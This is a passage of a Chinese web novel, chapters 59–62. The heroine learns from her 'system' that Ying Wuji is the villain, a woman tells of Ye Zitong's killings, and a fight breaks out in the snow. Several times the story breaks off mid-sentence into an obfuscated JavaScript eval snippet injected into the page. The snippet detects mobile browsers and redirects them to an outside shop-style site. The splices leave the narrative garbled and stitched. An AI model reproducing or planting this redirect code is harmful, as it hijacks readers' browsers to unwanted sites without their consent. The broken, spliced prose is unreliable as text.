应无霁依旧是一副淡淡的样子,点点头,推门出去了。 按往常来说,系统一定会在此时蹦出来说些话,但脑子里一直静静的,让她有些不适应。 “怎么了?你看,我和他的关系亲近了不少吧?这说明我还是有在好好完成任务的。” 系统沉默了一下,有些结巴道:“是主系统在下发任务时弄错了任务对象,应无霁不是你的娘亲。” 这个回答在柳沅意料之中,她并没有很吃惊,还能笑着让系统接着往下说。 “其实应无霁他……他……”系统犹犹豫豫的,像挤牙膏,一个字一个字往外蹦,结果还没等它说完,门又被推开了。 59. 任务变更(9) 是李桑字。 她更瘦了些,抬起头望向柳沅的时候,眼睛有点无神。 柳沅不由得想起了叶子桐,稍微有点不自在。 “我来看看你,”李桑字小心地收伞,抖掉上沾着的雪,关上门,对着柳沅笑道。 粗略算下来,她们也有大半个月没见了,两人聊了些最近遇到的趣事,气氛还算融洽。 “我明日就要成亲了,今天来找你,是请你去看看。”说话间,她的头微微低了下来,脸也红透了。 柳沅不由得笑了出来,故意用手臂怼怼她的胳膊,笑着问道:“是你之前和我说的已经定亲的那家?” 李桑字点点头。 “时间过得真快啊,转眼你都要成亲了。”柳沅不由得感叹。 来到这个世界不过三个多月,她就已经经历了那么多事情,遇见了那么多的人。 真是奇妙。 李桑字散落在额前的头发别在而后,笑得温柔:“我其实也没想到自己会这么快成亲,但能遇见和自己契合的人,其实是一件很幸运的事情。” 柳沅敏锐地注意到了她话中用的是契合,而非喜欢,又控制不住地想起了叶子桐。 真没想到看起来这么温柔斯文的一个人,竟然意谋不轨,想着用活生生的人命提升修为。 “最近,”李桑字见她神色放松,小心翼翼地说道:“最近我听说了不少关于叶子桐的消息,说他故意和城内的修仙者结交,想通过害人性命的方式快速提升修为。” “这是真的吗?” 李桑字曾经很喜欢很喜欢叶子桐,虽然叶子桐看上去完全对她没感觉,但这份感情在她的心里占据过很长一段时间,说是最纯净的感情都不为过。 柳沅有点担心自己说出真相后会让这份感情的最后一份纯粹在李桑字的心底碎掉,一时间没说话。 李桑字看她这个反应,已经明白了这件事大概是真的。她没有很难过,只是有些失望地叹了一口气:“我以为他会收手的。” 这话说的,难道叶子桐还做了什么事情? 那天在阵法中,柳沅能感觉到他对应无霁的执念很深,唯恐他又会做些对应无霁不利的事情,忙追问道:“这话是什么意思?” “那天我被寄生鬼锁在屋子里,你进去救我,看见叶子桐了吧?”她的声音很轻,带着一点后怕,“我后来给你送饭的时候,在饭盒里塞了一张纸条,你看到了吗?” 柳沅点点头,但还是不明白她为什么突然提起这件事。 “其实他当时已经发现了你,想要杀你,幸好俏儿姑娘及时赶到,救下了你。” 李桑字的表情有点失神,接着道:“那寄生鬼是他种在我身上的,因为我撞见了他的秘密,所以就想杀掉我。” 王大牛是村子里出了名的流氓,今天李桑字打了他,说不定会被报复回来。她和张大娘说了这件事,娘俩火急火燎地加固了门窗,同时张大娘取出李桑字他爹留下的药丸,两人吞下,就能在夜晚保持清醒。 前半夜还算安全,门外除了偶尔飘过的妖鬼的呻吟声,再无其它的声音。李桑字不由得放松了警惕,总算把木棍放了下来。 而就在这时,她突然听见一声惨叫,好像是王大牛的。 她挡在欲出去的张大娘面前,攥着木棍悄悄推开了窗户。 巨大的月亮挂在漆黑的天幕,什么东西一闪而过,她没看清,揉了揉眼睛,暗道一句奇怪,关上了窗户。 “他以为我撞见了他杀害王大牛,屡次试探我。”她垂下眼睛,语气苦涩,“那天晚上,我亲眼看见他杀了一个村民,那么鲜活的一个人,就在那一瞬间变成了傀儡。” 那天,李桑字刚回到家,正打算帮着张大娘做饭,就发现堂屋的桌子上放着一封齐整的信。霞村里很少有人会识字,这封信是谁送来的显而易见。 她高兴坏了,将那封信小心地拿好,快速钻进了自己的房间,坐到了书桌前。 信是用上好的纸写的,摸着滑滑的。 村子的学堂还在办的时候,李桑字就常常跟在叶子桐身后,看着他写字。因此她一眼就认出这封信上的字迹是叶子桐的。 叶子桐约她傍晚在村子尽头的林子里见面,说有重要的事情要告诉她。 什么重要的东西需要晚上偷偷见面才能告诉她?李桑字双手撑着脑袋,脸颊红得快要滴血。 其实仔细想想,叶子桐对她的态度总是时好时坏的,好的时候特别温柔,坏的时候一句话也不说。尽管这样会让她很难受,但李桑字还是坚信他是个好人。 小时候她总被人欺负,是叶子桐告诉她不要害怕要反抗,也是他帮她赶跑那些坏小孩。也许在他的眼里,这些事情都是举手之劳,可她记了好久好久。 前几日张大娘告诉她镇上孟家的公子孟止些很喜欢她,派人来提亲,并大肆赞扬了这位公子学识渊博,品信高洁,家里的门槛都被媒婆踏烂了,可他偏偏看不上那些高门大户的小姐,就是要来向她们家提亲。 她还记得娘亲脸上得意的笑容。 “你不记得了吗?你们小时候还在一起玩过呢。”张大娘笑道。 可李桑字根本毫无印象,她满心满眼都是叶子桐,于是假装顺从,实则想着用个什么办法拒掉这门亲事。 她被提亲的这件事很快传了出去,莫非叶子桐深夜约她见面,是因为这件事? 李桑字不受控制地胡思乱想,焦急等待了许久,终于,夜晚来了。她悄悄取出李云字留下的丹药,吞了下去,这才没被困意钉在床上。 外面的月亮一如既往的大,月光白的有些可怕,她拉紧了衣服,往那林子走去。 “我看见了他杀人,血淋淋的,他也看见了我,还朝着我笑。”李桑字开始控制不住地发抖,“我永远忘不了那一幕,他那么冷血,完全不把人命当人命,就那么当着我的面,将那人的皮活剥下来,做成了傀儡。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223148|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,柳沅的眼前渐渐出现了一些血腥的画面。李桑字的讲述带着十足的痛苦,光是听就已经能感受到她当时的崩溃。 柳沅轻轻拍了拍她的肩膀,算是一种温和的安慰。 “他威胁我,说他已经在村子里的所有人身上种下了蛊虫,要是我把看见的事情说出去,就会先发动我身上的寄生鬼。”她缓了缓,情绪稍微平复了一点。 “我当时太害怕了,我以为什么都不说就会平安,可是根本就不会。”她已经开始不住地流泪。 “我已经把这些告诉了俏儿姑娘,还有城里的入梦人,这是我唯一能弥补的。” 话到这里,她深深地低下头,哽咽道:“俏儿姑娘说他已经死了,但是我亲眼看见过他借助别的东西复生,你们一定要小心,他的报复心很强。” 柳沅望着她这副崩溃自责的样子,心头一软,叹了一口气:“他所犯下的错和你没有任何关系,你不用自责。” “你给出的消息很有用,对我们很有帮助,我其实应该感谢你的。” 她特意开了个玩笑。 李桑字缓了一会儿,总算是平复好了情绪,露出了笑容。 “好啦,这样才好看嘛。”柳沅故意逗她。 李桑字羞涩地笑了笑,眉宇间依然压着挥之不去的愁云:“我总担心他还会卷土重来,他的房间里放了不少奇怪的东西,我说不出来那些是什么,总感觉你可以去看看,说不定能找到他更多的秘密。” 这倒是个关键信息。柳沅若有所思。 此时,系统突然蹦出来道:“恭喜宿主,关键人物故事线补充完成,奖励已下发,请及时查收。” “什么任务?”她有点懵。 “宿主你忘啦?叶子桐是反派的小弟,李桑字是反派的白月光,两人之间存在着隐秘的感情线,你在听李桑字讲述的时候恰好补上了这块的剧情,完成了任务。” 不知道为什么,系统在说到反派这个词的时候总是莫名奇妙地停顿一下,听起来怪怪的。 柳沅只当它是很久没回来,业务能力下降了,没多想,只是问道:“什么奖励?不会又是什么糊弄我的东西吧?” 系统没说话,因为这时,应无霁推门进来了。 柳沅的注意力全被他冻红的手吸引了,急匆匆起身,去接他手里的碗。 “好烫!”她惊呼一声,忙收回了手。应无霁用看智障的眼神看了她一眼,把手抬高,继续往桌子的方向走。 “你手怎么这么红啊?”柳沅跟在他身后,问道。 应无霁把面碗放在桌子上,朝着一旁心不在焉的李桑字点点头,这才转身望向柳沅。 她的表情有点不太爽,似乎因为他没及时回答自己的话而生气。 应无霁微微扬起嘴角,轻声道:“外面雪停了,有点冷,所以手看起来有点红。” 这叫有点红?柳沅都要怀疑自己的眼睛了,应无霁的手的颜色堪比胡萝卜了好吗? 60. 任务变更(10) 她没说话,自顾自地坐在面碗前,拿起了筷子。这碗面加了很多东西,有肉有菜,把碗都赛的满满的,能看出做面的人下了不少功夫。 柳沅的心里漫上一股隐秘的欢喜,冲淡了那份莫名其妙的烦闷。她飞速地瞟了应无霁一眼,发现他神色凝重,仔细向李桑字确认着叶子桐的事情。 “我看见过他拿一个黑色的瓶子,喂给别人,那人就突然行为不受控制,变成了他的傀儡,所以我怀疑那个瓶子里就装着控制蛊虫的东西。”李桑字努力回想着记忆中的细节。 “他习惯把自己的东西放在书架上,也许你们能从他的房间里找到答案。” 听完她的话,应无霁沉思了很久,最后突然问道:“你说你见过他复活,上次用了多久?” 李桑字稍微停顿了一下,犹豫着回答道:“三天?” 那就是明天了。应无霁思索着,淡淡道:“多谢,我听说你明日大婚。” 话题陡然一转,李桑字有点没反应过来,等听清他的话,一抹喜悦骤然跃上眉梢。 “嗯!”她笑容灿烂地点头。 “新婚快乐。”应无霁道。 从院子里出来的时候,李桑字哼着歌,心情从所未有的好。 没想到俏儿姑娘破天荒地给了她祝福,也没想到柳沅真的愿意去见证她嫁人,俏儿姑娘还给了她蛊虫的解药,叮嘱她和张大娘早点吃下。 一切都向着美好的方向发展。 虽然是阴沉的下雪天,她望向天空,感觉到了久违的自由。 叶子桐…… 一想到这个名字,她的心便控制不住地颤动。忽然间,她感受到一股阴冷的视线。 李桑字诧异地转头,并没发现任何异样。 可那股不适的感觉还在,她感觉自己被藏在暗处的刀狠狠刮了一下,有点心烦意乱地转身,嘟囔一句奇怪。 她只当是自己想多了,继续往前走去。 那道视线死死地盯着她逐渐远去的背影,最后不甘地消失在了纷纷洒洒的雪花中。 房间里,柳沅和应无霁大眼瞪小眼,谁都不让谁。 “我不去。”她咬牙切齿地对着他做了个挑衅的手势。 应无霁倒是很淡定,指指桌上干净的连汤都不剩的碗,淡淡道:“你刚吃了我做的面,应该对我有所回报。” “这是什么道理,明明是你自愿给我做的。”柳沅眉毛一拧,就开始辩解。 “我吃那么干净是对你厨艺的认可。” 应无霁挑眉,声音拖的老长:“有的人啊,之前还信誓旦旦地说要报答我,赴汤蹈火也在所不辞,这回只是让你买个烧鸡,转眼间就不愿意了。” 这话说的柳沅一阵心虚。刚才吃完面,她脑子一抽,对着应无霁就开始说了那么一番肉麻的话,没想到他真就字面意思理解了她的话,让她冒着大雪天去镇上给他买烧鸡。 这么冷,外面雪下那么大,傻子才会去。柳沅果断拒绝,于是就有了上面这一番对话。 “但是我没说就让你走着去,”应无霁淡淡地看她一眼,“我有传送符。” 闻言,柳沅一愣,唰的一下从凳子上站起来,大声道:“你不早说?!” 应无霁嘴角微微上扬:“你也没问。” 行,她深吸一口气,反复在心里告诉自己,这是你任务对象,先忍,先忍。 应无霁从袖子里拿出一叠符纸,随便抽了几张递给她,道:“不用着急回来,可以在外面多玩一会儿。” 柳沅冷哼一声,心想这么大雪谁愿意在外面玩,随后毫不客气地夺过他手里的符纸,又被应无霁塞了个小荷包。 网上上面绣的歪歪扭扭的大红花,她的嘴角抽搐了一下,抬头问道:“干什么?” 刚才被应无霁呛了一下,她的语气有点不太好,应无霁弯弯眼睛,轻声道:“走了。” 什么?她疑惑地抬头,发现应无霁飞快从那叠符纸里抽了一张,准确无误地贴到了她的额头处,随即而来的是一阵模糊的白光。 再回过神来时,她已经站在了云城的城门口,周围是来来往往的人流。人们纷纷转头,好奇地打量着她。 柳沅骂骂咧咧地拆开那个荷包,等看到里面满满一袋金子的时候愣住了。 钱? 怎么会是钱? 应无霁哪来的钱? 第一时间涌上心头的竟然不是喜悦,柳沅有点慌,匆忙收起了袋子,把它小心地放在了胸口的袋子里。 “怎么了?你原来不是见钱眼开的吗?”系统冷不丁地跳出来,问道。 柳沅把符纸折好,放在袖口里,整理了一下衣服往城内走,边走边说:“这不一样,应无霁不是一直很穷吗?突然有钱说不定有什么变故,还是不用比较保险。” “你这个理由太拙劣了。”系统吐槽道。 柳沅的心情倒是怪好的,哼着歌道:“随你怎么想。” “对了对了,你说的补全剧情线奖励又在哪?你不会又想糊弄我吧?”她狐疑道。 系统冷哼一声,阴阳怪气道:“我哪像您,我说话算话,送你一张千里传送符,够意思吧?” “呵呵,”柳沅冷笑一声,“你可真是大方。” “这东西在修仙界价值千金,供不应求,你想买还买不到呢。”系统道。 柳沅边走边四处张望,闻言敷衍道:“是,你给的都是好东西,除了能让我过的更好的好东西。” 系统不服道:“我这已经够大方了,应无霁他也可没我这么温良……” 像是说到了什么不该说的东西,系统忽地住了嘴。后半截话应该也不是什么好话,柳沅心底泛上几丝疑虑,还想多问些什么,系统支支吾吾地不肯再说了,她虽然很疑惑,但也没想很多,把注意力重新放回了街道。 雪停了,城内街道上有不少人在扫雪,地面大致都被清理干净了,走在上面除了有点滑没什么困难。柳沅就这样快步往香满楼的方向走去。 期间,经过方府的时候,看见一群人围在门口,叽叽喳喳地讨论着什么。 “要我说,就是这方老爷咎由自取,非要和叶子桐掺和那事,不仅身体也垮了,还要给那些死掉的入梦人交代。” “哎,你们说这回方府要赔多少钱?” “别赔钱了,偿命吧。” 她听了一会,发现他们在谈论之前的阵法事件。这几天她确实没怎么听到这件事的后续。又站在原地打听了一会儿,柳沅这才知道应无霁带着她离开后,方老爷被赶来的入梦人抓了个正着,不仅要赔钱,还要面临牢狱之灾。 偏偏在这时,他又突然病倒了,而且越来越严重,隐隐有种要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231977|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撒手人寰的趋势了。 她正混在人群中,突然看见一个人影在方府门前一闪而过,那熟悉的丫鬟装,是阿花。 她也看见了柳沅,不过一瞬间就消失在了人群中,就算柳沅有心去找都找不到。紧接着,方府紧闭的大门打开了,贺听舟笑容满面地走了出来,手里还拿着一个鼓鼓的袋子。 她看了一眼骤然安静下来的人群,悄悄把袋子往身后挪了挪,咻的一下往外跑,很快就消失在了远处。 “这人是谁?怎么感觉有点眼熟?”有人问道。 “看她的腰牌,应该是入梦人,应该是入梦人组织派来和方少爷谈这件事的人。” “方少爷?”有人吃惊极了。柳沅不由得竖起了耳朵,凑近了些。 “方家怎么会有少爷?不是只有一个大小姐吗?” “这就说来话长了,反正就是那个大小姐是假的,方家只有一个少爷,是个胸无大志的草包,如今的方家只剩下他主持大局了。” “不过这也是那方老爷咎由自取,谁让他年轻的时候做些亏心事赚些亏心钱呢。” 说完这些话,大家又聊了些别的,就慢慢散开了。柳沅也悄悄退了出来,边往香满楼的方向走,边把最近发生的事情全跟系统说了。 听完她的话,系统有些欲言而止。 它有些犹豫要不要把从总部那里得到的消息告诉柳沅。 “我现在能显著地感觉到应无霁对我的态度变化,和刚认识的时候完全不一样。虽然无法确认具体的好感度数值,但是我们现在应该能算比较亲密的朋友。”柳沅的心情很好,语调也是扬起来的。 这让系统更犹豫了,它试探性道:“我要跟你说的事情,有一件是应无霁并不是你的任务对象。” “主系统出了故障,选错了任务对象。” 柳沅脸上的笑僵住了,连带着整个人在一瞬间成了一尊僵硬的雕塑。 “你说什么?”她的音调陡然升高。 此时她正站在香满楼的柜台前,前面的人刚走,店小二见她面色不佳,忙问道:“客官要些什么?” 柳沅心有点乱,胡乱答道:“招牌的烧鸡。” “好嘞,客官您真幸运,这是今天的最后一只,正好被您买到了。”小二笑着搭话。 此时,系统犹豫了一下,还是狠心说道:“任务对象错了,那之前所有的任务进度都清零了。不过这是我们的问题,所下发的任务奖励都不会收回,主系统也不会让您再重做一次任务,也就是说,您现在不用做任何任务,只要活到这本书的大结局,就能顺利回到现实世界,开启第二段人生。” 听起来是件很好的事情,但柳沅的心神还是被系统那句应无霁不是她的任务对象占据。 既然不是任务对象,柳沅的身份也没变,那应无霁会是谁? 系统的态度很模糊,让她无端感受到很强烈的不对劲。 “您……您还没给钱。”小二带着为难的声音在耳边炸开,柳沅这才意识到自己一直站在柜台前一动不动。 她忙从口袋里掏出点碎银子,递给小二。 他笑着收下。 柳沅在大厅找了个空位坐下,等待着烧鸡,也等待着系统的下文。 它重重地叹了一口气,机械音有点抖:“他真实的身份,是这本书的反派。” 61. 你才不能忘记我(1) “就是那个让你爱得死去活来,最后被他虐杀的反派。” 系统的这句话犹如一记重锤,把她摇摇欲坠的心彻底击碎。只听大堂内传来一声巨响,柳沅已经从椅子上滑了下去,还不小心打翻了桌子。 小二忙上前,扶起她,问道:“客官,您没事吧?” 柳沅没有回答,只是近乎失神地盯着地面。 怎么会是应无霁呢?那么残忍可怕的反派,怎么可能是他呢? “我知道现在让宿主您快速接受不太可能,但是事实就是这样,如果你不信我可以现在联系主系统,让它给您解释。” 系统的话就在脑子里,又仿佛隔了一层厚厚的膜。 见她一副失魂落魄的样子,小二不放心地又喊了一次。 柳沅紧紧抿着唇,声音沙哑地说了句没事,帮着小二把桌子扶了起来,把散落的筷子捡起摆好,又坐了回去。 那些从前被她刻意忽略的奇怪感就在此时,尽数涌上心头。 她突然想起了自己前几天做的那两个梦。 那会是真正的应无霁吗? 她控制不住地发起抖来,咬着下唇的牙关越缩越紧,直到咬破了表皮,血腥味填满口腔。 系统还在说:“李怀朔也不是本书的男主,而是书中自行衍生出的人物。真正的男主是叶子桐,女主是李桑字。你是他们俩的女儿。” 这个消息更加炸裂,柳沅唰的一下站了起来,发出的巨大声响一下就吸引了大厅内所有人的注意力。 小二也不知道这位客人怎么了,观察她突然变化的脸色,战战兢兢地上前,想问问她怎么了。谁料柳沅完全无视了他,就那么快步走了出去。 “哎,客官您的烧鸡!”小二的呼唤在身后迅速消失,柳沅控制不住地跑了起来。 又开始下雪了,冰冰凉凉的,一片接着一片飘进她的眼睛里,衣领里,还有头发上。 太荒谬了。她突然停了下来,撑着膝盖不停地喘息,盯着落满雪的地面。 砰—— 她就那么朝后躺在了雪地里,不顾冰凉的雪花飘进眼睛的不适感,呆呆地盯着天空。 “宿主,您……您不用这样……这都是我们的失误。和您没关系。“系统结结巴巴地解释道。 柳沅丝毫没被安慰到,疲倦地闭上了眼睛。 她好不容易和应无霁的关系好了一点,系统说他就是那个置她为死地的反派。叶子桐刚死,李桑字马上要嫁人,系统说他俩是她真正的父母。 所以她这三个月的努力算什么。 反派的小弟,一个间接因为她死了,一个现在濒临破产。 反派的后宫,一个要嫁人了,一个和他水火不容。 柳沅又想起来,好像每次贺听舟和她一起出现在应无霁身边,他对贺听舟的态度都会很差。 她不敢妄下定论说是自己影响了应无霁的人际关系,但要是他真是原著描写的那个性格,柳沅一定会被波及到吧。 回想着系统描述的那个不分青红皂白,随心杀人的反派,她就浑身发凉。 其实这些都不算什么,至少目前看来应无霁没有要杀她的想法,最棘手的是叶子桐和李桑字吧,他们都分道扬镳了,柳沅作为他们的孩子,怎么办? “你这是非要置我于死地啊。“她的后槽牙都要咬碎,狠狠抓住了身下的雪,企图用寒冷降低自己身体燃起的热度。 她快被气死了。 系统忙解释道:“这次任务事故是我们这边全责,大体的剧情走向不会变,只要您保证男女主顺利纠缠大结局就算您完成任务。“ “叶子桐已经死了,你现在又让我保证他们纠缠到大结局?系统你脑子没问题吧?”她破口大骂。 “他没死。这本书的男女主是不会死的,就算剧情意外偏离,也会被强制复活。”系统道,“据已有剧情,叶子桐他明日一定会去抢婚。” 柳沅的心情并没有因为这个消息变得轻松,反而更加沉重。 她忘不了叶子桐对应无霁做的事情,那天在阵法里,叶子桐那样逼应无霁…… 在不知不觉间,她的心已经偏向那个冷淡的人,可她毫无察觉。 雪下的越发大了,她缓缓起身,抖掉粘在身上的雪,突然迈不出回去的步伐。 系统知道她心里的纠结,叹了一口气:“主系统考虑到了宿主现在的这种情况,为您规划了两个解决方案。” 还有解决方案?柳沅眼睛一亮,但隐隐约约还是有种不祥的预感。 系统说道:“第一是彻底清除应无霁有关你的记忆,从此以后你在他的眼中会是一个彻底的陌生人,只要宿主你别和他产生交集,就一定不会触发反派和你之间的狗血剧情。” 让他……忘记自己吗?柳沅感觉心被一双大手紧紧攥住了,有点细微的酸。 “另一个呢?”她轻声问道。 “另一个可能就有点困难,就是撮合应无霁和他的官配,用爱情消解掉他心中灭世的怨气。” “官配?”柳沅忍不住问道,“什么官配?你之前说的不是贺听舟吗?” “在原小说中反派大开后宫,贺听舟只是他众多后宫中的头头,而这位官配才是作者给他安排的正缘。具体涉及到他的往事,原小说中描述的不多,只是说她身份尊贵,是京城的贵人。”系统道。 柳沅突然想起了那个梦,梦中那个在火场中护住应无霁的少女。梦中的那些修士喊她为公主。 系统说完,耐心等待了很久都不没听见柳沅的回答,乍一看,她已经跨过雪堆,往香满楼的地方走。 “你到底是怎么想的,其实我还是推荐你选第一个,这样最保险,不然啥时候应无霁突然发疯,你小命都不保。” 系统还在喋喋不休,柳沅已经走回了刚才离开的大堂,小二正好站在门口,见她回来,脸上露出如释重负的微笑。 “客官,您的烧鸡已经做好了,雪天天气凉,您千万要趁热吃。”说着,小二把一个包了很多层的纸包递给她。柳沅先是一愣,随后顺手接了过来。 “多谢。”她朝小二微微点头。 拿到烧鸡后,她并没有第一时间选择用传送符回去,而是一个人静静地走在飘雪的街道上,望着冷清的街道,她突然有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李怀朔这人看着温温柔柔的,实际上阴冷狠毒,尤其痛恨背叛,贺听舟很清楚自己上次只是侥幸逃脱。 所以这次,她若有所思地望向应无霁,是要他们联手,把李怀朔打退吗? 只是一瞬,李怀朔突然动作,手中的油纸伞卷着雪花,朝院中上空的阵法狠狠砸去。只听得一声巨响,那原本细小的裂缝们猛地扩大了。 应无霁淡定的表情突然一僵。 就在这瞬间,那道裂缝崩裂开,整个结界顿时破开,李怀朔闪身逼近应无霁,突觉身后有道银光,立即转身,用油纸伞挡住。 雪花飞溅,掀起一片浓郁的寒气,贺听舟手中的骨笛骤然变长,和李怀朔的油纸伞互不相让,同时,应无霁脚尖轻点,手中桃木枝迅速破开飘飞的雪花,轻轻停在了李怀朔的眉心。 胜负已定。 李怀朔输了。 “我就算有再大的能耐,也耐不住两个人联手啊。”他的表情里带着无奈,眼神却死死地落在贺听舟的脸上。 62. 你才不能忘记我(2) 贺听舟似笑非笑地回望,嗤笑一声。 李怀朔望着她的眼神越发幽深。 应无霁伸出另一只空着的手,召唤出了那团灵火,往李怀朔眉心一放。灵火带来的强烈灼烧感很快让李怀朔面色痛苦,闷哼出声。 “我很好奇,”一旁的贺听舟突然出声,“你为什么不杀他?” 之前好几次她跟随李怀朔寻找应无霁的踪迹,李怀朔每次都迫不及待地想杀掉应无霁,几乎无时无刻都在用尽各种办法找他在哪里,每次找到都会下死手。应无霁的修为明显更高一筹,但他每次都会放过李怀朔,对他施加灵火,让他暂时无法通过灵力感知到自己的位置,然后快速离开。 这样的举动太奇怪了。贺听舟自问,如果一个人一直要置她为死地,那么她一定会找准机会先杀掉那人,彻底解决掉这个麻烦。但应无霁却能屡次放过李怀朔,这简直不合常理。 这两人之间的纠葛比她想象中的还要深,也让她更加地想参与到其中。 贺听舟挑眉。 应无霁没有回答这个问题,翻翻找找了半天,从口袋里拿出一道符咒来,贴在李怀朔额头上。 李怀朔的表情很淡然,似乎早就知道他会这样做,甚至望向应无霁的眼神里藏着无法抑制的狂热。 “我一定会杀掉你。”他扯出一抹灿烂的笑容,在看到应无霁厌恶的眼神后哈哈大笑起来,“咱们走着瞧。” 应无霁立即发动了符咒。李怀朔就那样含着笑,化作烟雾消失了。 与此同时,他感觉到一股不同寻常的杀意,反应过来时,贺听舟已经将骨笛刺穿了他的身体。 是在左胸,他能清晰地感知到骨头拖拽血肉的痛感。 毫不意外,他垂下眼,正好看见她的笑容。 “其实我一直很好奇,李怀朔口中的杀不死的你到底是不是真的,不好意思啊,就让我看一次吧。”贺听舟的表情很抱歉,但眼神却很狂热,这种诡异的矛盾让她看起来既危险又平和。 应无霁面不改色地抬起右手,对着她的左胸狠狠一推。强大的灵力化作漩涡,将她整个人无情地掀翻。 贺听舟双手迅速后撤,借着这股推力勉强爬起来,活动了下右手腕,指着插在他胸口的骨笛,嚷嚷道:“有必要那么小气吗?我就是想试试看而已。” 应无霁没理她,右手聚起刚才灼烧李怀朔的那团蓝色火焰,冲着她就是一甩。 贺听舟暗骂一声,快速闪开,但衣摆的边边还是被烧焦了。 怪她好奇心重,非要惹应无霁一下,这下好了,如果纯实力硬碰硬,她肯定是打不过应无霁,更何况他还打不死。 思考间,灵火和眉心擦过,贺听舟感受到一种剧烈的刺痛,脚步有点乱,趁此机会,应无霁拿着桃木枝冲着她的后心就是一戳。 同时,贺听舟轻巧一闪,双手扭了个复杂的手势,插在他胸口的骨笛突然燃起一道诡异的绿光,应无霁的动作猛地一滞,膝盖顿时弯了下去,重重地磕在了雪地里。 随着粉碎性的疼痛和刺骨的寒意同时而来的,还有一道熟悉的,近乎撕心裂肺的呼唤。 “应无霁!” 他控制不住地喷出一口血来,无力地抬起头。 模糊的视线中,一道烟灰色的身影飞驰而来,配着纷纷洒洒的雪花,像幻梦。 不是梦。他瞪大了眼睛。 是柳沅。 可他不是,不是没给她回来的符咒吗? 应无霁知道李怀朔绝对不可能那么轻易放过他,在给贺听舟送去那封信后,就时刻恭候着他的到来,借着让柳沅去买烧鸡的名义把她支出去,给了她足够的符咒防身,还考虑到她可能回不来,给了她一荷包的金子,以备不时之需。 他压根没想过她会回来。 柳沅的脸和手被冻的红红的,几乎是拼尽了全力跑进院子,挡在了他面前。 “你果然有问题。”她望着贺听舟,强迫自己冷静下来,道。 贺听舟倒是还挂着惯常的笑容,轻声道:“我没有恶意,只是想看看他这特殊的体质到底是什么样。” “我刚才还和他联手击退了李怀朔呢,不然现在你看到的他会伤的更严重。” 柳沅摇摇头,冷声道:“我刚刚看到你从方府中出来了,旁人说你是入梦人派去的,可我回来的时候遇见了他们,入梦人的名单中根本就没有一个叫贺听舟的人,你从一开始就是刻意接近我,你的身份就是假的。” 就在刚刚,柳沅拿着烧鸡走在街上,看着天色差不多了,想用符咒回去,却发现应无霁压根没给自己回去的传送符,无奈之下,她只好到处去问有没有回霞村的便车,这正巧就遇见了一个热心的入梦人,说自己正好要回霞村办事,可以捎她一程。 也就是在和他的攀谈中,柳沅得知了入梦人组织中根本没有叫李怀朔和贺听舟的人。李怀朔和贺听舟都用了假身份,李怀朔的目标是应无霁,那贺听舟呢? 她屡次站在他们这边,究竟是巧合,还是别有用心? 现在柳沅知道,她是别有用心。 “我真的没有恶意的,你不要误会我呀。”贺听舟无奈地耸耸肩,指着应无霁胸口插着的骨笛,解释道。 要她相信一个刚对应无霁捅完刀子的人没有恶意,这不是在玩弄她的智商吗? 柳沅回忆着应无霁使用灵力的方式,缓缓在手心聚起了能量。 她上次在阵法中吸收了不少能量,修为得到了很大的提升,不再是那个贺听舟不放在眼中的弱者了。 贺听舟自己也受了伤,也不想发生冲突,犹豫了一会儿,她对着应无霁道:“你把铜钱给我,我把骨笛抽出来,咱们算两清。” 柳沅还想说话,应无霁已经缓缓站起来,拉住了她的手。 没有通过桃木枝,没有她的要求,他主动牵起了她的手。 “这事和你没关系。”他低声道。 应无霁的本意是不想让柳沅受到没必要的伤害,可这句话落在此时思想混乱,左右为难的柳沅耳中,是抗拒。 她低下头,默默站在了一边。 两人的交接过程很顺利,贺听舟信守承诺,没有再偷袭。骨笛被拔出,又带出一滩新鲜的血,落在洁白的雪地上,像开的正艳的红梅。 系统突然出声:“你不会真的对他产生了一些不一样的感情吧?” 闻言,柳沅的眼皮颤了颤,想也没想就否认了。 “那你为什么不给我答案呢?消除他的记忆,是目前对我们来说最保险的做法。”系统劝说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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从中午到傍晚,应无霁一直闷在屋子里,柳沅不由自主地猜测着他的情况,有些心不在焉。 系统如今已经和应无霁解绑,自然无法感知到他的情绪和处境,柳沅没有任何办法知道他现在怎么样了。 可她很想知道应无霁的伤有没有事,他离开前的脸色实在是太惨白了。 “柳沅?柳沅?”李桑字喊了她好几声,柳沅才回过神来。 “抱歉,我刚才走神了。”她道歉道。 李桑字眉宇间洋溢着快乐,摇摇头,笑着说:“没事。不过到时候你们一定要记着来,我还给你们准备了红包呢。” 你们?柳沅一愣,下意识问道:“应无霁也去吗?” 李桑字有点古怪地打量她一眼,疑惑道:“应无霁是谁?” 